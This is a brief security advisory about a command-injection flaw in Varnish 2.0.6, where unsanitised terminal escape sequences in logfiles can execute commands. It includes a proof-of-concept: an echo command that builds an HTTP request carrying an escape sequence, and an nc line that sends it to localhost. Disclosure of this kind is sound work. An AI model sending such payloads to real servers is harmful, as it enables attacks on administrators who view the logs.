source: http://www.securityfocus.com/bid/37713/info

Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Varnish 2.0.6 is vulnerable; other versions may also be affected. 

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload